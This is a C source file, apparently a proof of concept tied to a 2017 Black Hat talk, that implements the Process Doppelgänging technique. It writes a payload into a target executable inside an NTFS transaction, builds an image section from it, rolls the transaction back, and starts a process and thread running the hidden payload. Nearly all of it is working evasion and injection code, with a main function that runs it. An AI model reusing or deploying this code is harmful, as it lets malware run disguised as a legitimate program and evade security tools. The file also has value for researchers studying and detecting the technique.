// Ref = src // https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf // // Credits: // Vyacheslav Rusakov @swwwolf // Tom Bonner @thomas_bonner // #include #include #include "ntos.h" VOID ProcessDoppelgänging( _In_ LPWSTR lpTargetApp, _In_ LPWSTR lpPayloadApp) { BOOL bCond = FALSE; NTSTATUS status; HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE; HANDLE hSection = NULL, hProcess = NULL, hThread = NULL; LARGE_INTEGER fsz; ULONG ReturnLength = 0; ULONG_PTR EntryPoint = 0, ImageBase = 0; PVOID Buffer = NULL, MemoryPtr = NULL; SIZE_T sz = 0; PEB *Peb; PROCESS_BASIC_INFORMATION pbi; PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL; OBJECT_ATTRIBUTES obja; UNICODE_STRING ustr; BYTE temp[0x1000]; do { RtlSecureZeroMemory(&temp, sizeof(temp)); // // Create TmTx transaction object. // InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL); status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &obja, NULL, NULL, 0, 0, 0, NULL, NULL); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtCreateTransaction fail"); break; } // // Open target file for transaction. // hTransactedFile = CreateFileTransacted(lpTargetApp, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); if (hTransactedFile == INVALID_HANDLE_VALUE) { OutputDebugString(L"CreateFileTransacted fail"); break; } // // Open file payload. // hFile = CreateFile(lpPayloadApp, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { OutputDebugString(L"CreateFile(target) failed"); break; } // // Query payload file size. // if (!GetFileSizeEx(hFile, &fsz)) { OutputDebugString(L"GetFileSizeEx(target) failed"); break; } // // Allocate buffer for payload file. // Buffer = NULL; sz = (SIZE_T)fsz.LowPart; status = NtAllocateVirtualMemory(NtCurrentProcess(), &Buffer, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtAllocateVirtualMemory(fsz.LowPart) failed"); break; } // // Read payload file to the buffer. // if (!ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) { OutputDebugString(L"ReadFile(hFile, Buffer) failed"); break; } CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; // // Write buffer into transaction. // if (!WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) { OutputDebugString(L"WriteFile(hTransactedFile, Buffer) failed"); break; } // // Create section from transacted file. // status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtCreateSection(hTransactedFile) failed"); break; } status = NtRollbackTransaction(hTransaction, TRUE); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtRollbackTransaction(hTransaction) failed"); break; } NtClose(hTransaction); hTransaction = NULL; CloseHandle(hTransactedFile); hTransactedFile = INVALID_HANDLE_VALUE; // // Create process object with transacted section. // // // Warning: due to MS brilliant coding skills (NULL ptr dereference) // this call will trigger BSOD on Windows 10 prior to RS3. // hProcess = NULL; status = NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtCreateProcessEx(hSection) failed"); break; } // // Query payload file entry point value. // status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtQueryInformationProcess failed"); break; } status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtReadVirtualMemory failed"); break; } EntryPoint = (ULONG_PTR)RtlImageNtHeader(Buffer)->OptionalHeader.AddressOfEntryPoint; EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress; // // Create process parameters block. // //RtlInitUnicodeString(&ustr, L"C:\\windows\\system32\\svchost.exe"); RtlInitUnicodeString(&ustr, lpTargetApp); status = RtlCreateProcessParametersEx(&ProcessParameters, &ustr, NULL, NULL, &ustr, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED); if (!NT_SUCCESS(status)) { OutputDebugString(L"RtlCreateProcessParametersEx failed"); break; } // // Allocate memory in target process and write process parameters block. // sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength; MemoryPtr = ProcessParameters; status = NtAllocateVirtualMemory(hProcess, &MemoryPtr, 0, &sz, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed"); break; } sz = 0; status = NtWriteVirtualMemory(hProcess, ProcessParameters, ProcessParameters, ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength, &sz); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed"); break; } // // Update PEB->ProcessParameters pointer to newly allocated block. // Peb = pbi.PebBaseAddress; status = NtWriteVirtualMemory(hProcess, &Peb->ProcessParameters, &ProcessParameters, sizeof(PVOID), &sz); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed"); break; } // // Create primary thread. // hThread = NULL; status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)EntryPoint, NULL, FALSE, 0, 0, 0, NULL); if (!NT_SUCCESS(status)) { OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed"); break; } } while (bCond); if (hTransaction) NtClose(hTransaction); if (hSection) NtClose(hSection); if (hProcess) NtClose(hProcess); if (hThread) NtClose(hThread); if (hTransactedFile != INVALID_HANDLE_VALUE) CloseHandle(hTransactedFile); if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile); if (Buffer != NULL) { sz = 0; NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE); } if (ProcessParameters) { RtlDestroyProcessParameters(ProcessParameters); } } void main() { ProcessDoppelgänging(L"C:\\test\\target.exe", L"C:\\test\\payload.exe"); ExitProcess(0); }